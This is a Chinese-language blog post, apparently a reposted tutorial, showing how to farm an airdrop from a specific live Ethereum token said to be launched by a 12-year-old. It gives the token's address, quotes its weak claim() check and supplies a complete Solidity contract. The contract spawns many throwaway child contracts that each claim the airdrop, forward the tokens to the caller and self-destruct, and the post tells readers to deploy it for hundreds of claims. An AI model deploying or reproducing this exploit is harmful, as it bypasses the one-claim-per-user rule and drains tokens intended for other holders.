本文主要是介绍如何快速领取十二岁天才的token,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
新年快乐!
最近也是从各个社区看到天才小黄同学.不讨论小黄同学这个发币行为,仁者见仁智者见智。
我们只需要来领取下代币。比正常用户领取节约太多gas了。
首先这是小黄同学的代币coin
0x1c7e83f8c581a967940dbfa7984744646ae46b29
找到cliam 函数
function claim() external{
if( (uint32(block.timestamp)-release_time) <= 360 days && is_claim[msg.sender] == false ){
is_claim[msg.sender] = true;
yet_claim_people.push(msg.sender);
_mint(msg.sender,return_claim_number());
}
}
我们发现这里主要校验了下,领取时间需要在合约发布后的360天内,是否领取过
因此我们需要使用各种新账户来cliam 领取。
大部分人会把eth 发给小号,让小号领取token,由于uniswap交易费很高,因此又要把token归并到一个账户来。这样不仅累,还浪费很多gas费用
因此我们这里直接部署合约来领取
pragma solidity ^0.8.0;
//被领取token 所需要的3个函数,转账,查询余额,领取空投
//0x1c7e83f8c581a967940dbfa7984744646ae46b29 12岁小孩的token地址
interface airdrop {
function transfer(address recipient, uint256 amount) external;
function balanceOf(address account) external view returns (uint256);
function claim() external;
}
contract ClaimToken {
address constant rnd = address(0x1c7E83f8C581a967940DBfa7984744646AE46b29);
//for循环创建新合约claimer,也就是领取多少次
function call(uint256 times) public {
for(uint i=0;i<times;i++){
new claimer(rnd);
}
}
//查询代币余额
function balance(address account) external view returns (uint256){
return airdrop(rnd).balanceOf(account);
}
}
contract claimer{
constructor(address rnd){
//调用领取token函数
airdrop(rnd).claim();
//获取 新合约余额
uint256 balance = airdrop(rnd).balanceOf(address(this));
require(balance>0,'faled');
//从新合约里把token 转移到调用发起人
airdrop(rnd).transfer(address(tx.origin), balance);
//自毁合约,使合约变为无效,有效地删除该地址地字节码。把合约的所有资金发送到目标地址
selfdestruct(payable(address(msg.sender)));
}
}
部署的时候只需要部署ClaimToken这个合约,并调用call 函数 参数是领取的次数。
大家可以使用ganache来fork主网,来用真实环境模拟调用。这是领取200次所用gas费用
这篇关于如何快速领取十二岁天才的token的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!